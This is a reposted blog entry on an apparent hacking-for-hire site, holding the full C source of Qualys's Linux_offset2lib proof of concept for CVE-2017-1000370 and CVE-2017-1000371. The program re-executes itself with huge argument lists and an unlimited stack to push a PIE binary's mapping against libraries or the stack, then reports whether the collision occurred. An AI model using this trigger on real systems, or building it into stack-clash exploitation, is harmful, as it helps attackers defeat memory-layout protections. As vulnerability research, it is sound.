Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863544298

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
 * Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

#define MAX_STACK_SIZE ((size_t)1<<30)
#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MIN_ARGC 1024

static void
analyze_mappings(const char * const binary)
{
    if (!binary) die();
    if (strchr(binary, ' ')) die();
    int rval = EXIT_FAILURE;
    int dump = 0;

    const int fd = open("/proc/self/maps", O_RDONLY);
    if (fd <= -1) die();

    static char buf[4096] = " ";
    char * cp = buf;
    for (;;) {
        if (cp >= buf + sizeof(buf)) die();
        const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp);
        if (nr <= 0) {
            if (nr == 0) break;
            if (nr != -1) die();
            if (errno != EAGAIN && errno != EINTR) die();
            continue;
        }
        cp += nr;
    }
    *cp = '\0';
    if (memchr(buf, '\0', sizeof(buf)) != cp) die();

    size_t hi_bin = 0;
    size_t lo_lib = 0;
    size_t lo_heap = 0;
    size_t lo_stack = 0;
    const char * line = buf;
    for (;;) {
        char * const nl = strchr(line, '\n');
        if (!nl) die();
        *nl = '\0';

        cp = NULL;
        const size_t lo = strtoul(line, &cp, 16);
        if (cp <= line || *cp != '-') die();
        if (lo <= 0) die();

        line = cp + 1;
        cp = NULL;
        const size_t hi = strtoul(line, &cp, 16);
        if (cp <= line || *cp != ' ') die();
        if (hi <= lo) die();

        cp = strrchr(cp + 1, ' ');
        if (!cp) die();
        cp++;

        if (!strcmp(cp, binary)) {
            hi_bin = hi;
            if (lo == 0x08048000) {
                fprintf(stderr, "Please recompile with -fpie -pie\n");
                die();
            }
        } else if (!strcmp(cp, "[heap]")) {
            if (!lo_heap) lo_heap = lo;
            else {
                if (lo_stack) die();
                lo_stack = lo;
                dump = 1;
            }
        } else if (!strcmp(cp, "[stack]")) {
            if (!lo_stack) lo_stack = lo;
            else {
                die();
            }
        } else if (*cp == '/') {
            if (!lo_lib) lo_lib = lo;
        }

        *nl = '\n';
        line = nl + 1;
        if (*line == '\0') break;
    }
    if (!hi_bin) die();
    if (!lo_lib) die();
    if (!lo_stack) {
        if (!lo_heap) die();
        lo_stack = lo_heap;
        lo_heap = 0;
    }

    if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) {
        fprintf(stderr, "CVE-2017-1000370 triggered\n");
        rval = EXIT_SUCCESS;
        dump = 1;
    }
    if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) {
        fprintf(stderr, "CVE-2017-1000371 triggered\n");
        rval = EXIT_SUCCESS;
        dump = 1;
    }
    if (dump) {
        const ssize_t len = strlen(buf);
        if (len <= 0) die();
        if (write(STDERR_FILENO, buf, len) != len) die();
    }
    if (close(fd)) die();
    exit(rval);
}

int
main(const int my_argc, const char * const my_argv[])
{
    if (my_argc >= MIN_ARGC) {
        analyze_mappings(*my_argv);
        die();
    }

    size_t stack_size = MAX_STACK_SIZE;
    if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0);
    else if (my_argc != 1) die();
    if (stack_size > MAX_STACK_SIZE) die();

    static char arg[MAX_ARG_STRLEN] = " ";
    memset(arg, ' ', sizeof(arg)-1);

    const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *));
    if (argc < MIN_ARGC) die();

    char ** const argv = calloc(argc + 1, sizeof(char *));
    if (!argv) die();

    char * const binary = realpath(*my_argv, NULL);
    if (!binary) die();
    *argv = binary;

    size_t i;
    for (i = 1; i < argc; i++) argv[i] = arg;
    if (i != argc) die();
    if (argv[i]) die();

    for (i = 1; i; i++) {
        fprintf(stderr, "Run #%zu...\n", i);
        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY };
            if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
            execve(*argv, argv, NULL);
            die();
        }
        int status = 0;
        if (waitpid(pid, &status, WUNTRACED) != pid) die();
        if (!WIFEXITED(status)) die();
        if (WEXITSTATUS(status) == EXIT_SUCCESS) continue;
        if (WEXITSTATUS(status) != EXIT_FAILURE) die();
    }
    die();
}